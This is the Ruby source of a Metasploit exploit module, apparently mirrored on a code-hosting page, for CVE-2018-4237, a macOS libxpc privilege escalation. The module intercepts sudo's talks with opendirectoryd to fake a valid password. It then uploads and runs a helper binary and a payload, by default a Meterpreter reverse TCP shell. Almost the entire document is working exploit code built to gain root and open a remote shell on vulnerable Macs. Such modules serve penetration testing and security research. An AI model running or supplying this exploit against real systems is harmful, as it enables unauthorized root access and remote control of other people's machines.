Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/libxpc_mitm_ssudo.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(update_info(info,16'Name' => 'Mac OS X libxpc MITM Privilege Escalation',17'Description' => %q{18This module exploits a vulnerablity in libxpc on macOS <= 10.13.319The task_set_special_port API allows callers to overwrite their bootstrap port,20which is used to communicate with launchd. This port is inherited across forks:21child processes will use the same bootstrap port as the parent.22By overwriting the bootstrap port and forking a child processes, we can now gain23a MitM position between our child and launchd.2425To gain root we target the sudo binary and intercept its communication with26opendirectoryd, which is used by sudo to verify credentials. We modify the27replies from opendirectoryd to make it look like our password was valid.28},29'License' => MSF_LICENSE,30'Author' => [ 'saelo' ],31'References' => [32['CVE', '2018-4237'],33['URL', 'https://github.com/saelo/pwn2own2018'],34],35'Arch' => [ ARCH_X64 ],36'Platform' => 'osx',37'DefaultTarget' => 0,38'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },39'Targets' => [40[ 'Mac OS X x64 (Native Payload)', { } ]41],42'DisclosureDate' => '2018-03-15'))43register_advanced_options [44OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])45]46end4748def upload_executable_file(filepath, filedata)49print_status("Uploading file: '#{filepath}'")50write_file(filepath, filedata)51chmod(filepath)52register_file_for_cleanup(filepath)53end5455def check56version = Rex::Version.new(get_system_version)57if version >= Rex::Version.new('10.13.4')58CheckCode::Safe59else60CheckCode::Appears61end62end6364def exploit65if check != CheckCode::Appears66fail_with Failure::NotVulnerable, 'Target is not vulnerable'67end6869if is_root?70fail_with Failure::BadConfig, 'Session already has root privileges'71end7273unless writable? datastore['WritableDir']74fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"75end7677exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))78exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"79upload_executable_file(exploit_file, exploit_data)80payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"81upload_executable_file(payload_file, generate_payload_exe)82exploit_cmd = "#{exploit_file} #{payload_file}"83print_status("Executing cmd '#{exploit_cmd}'")84cmd_exec(exploit_cmd)85end86end878889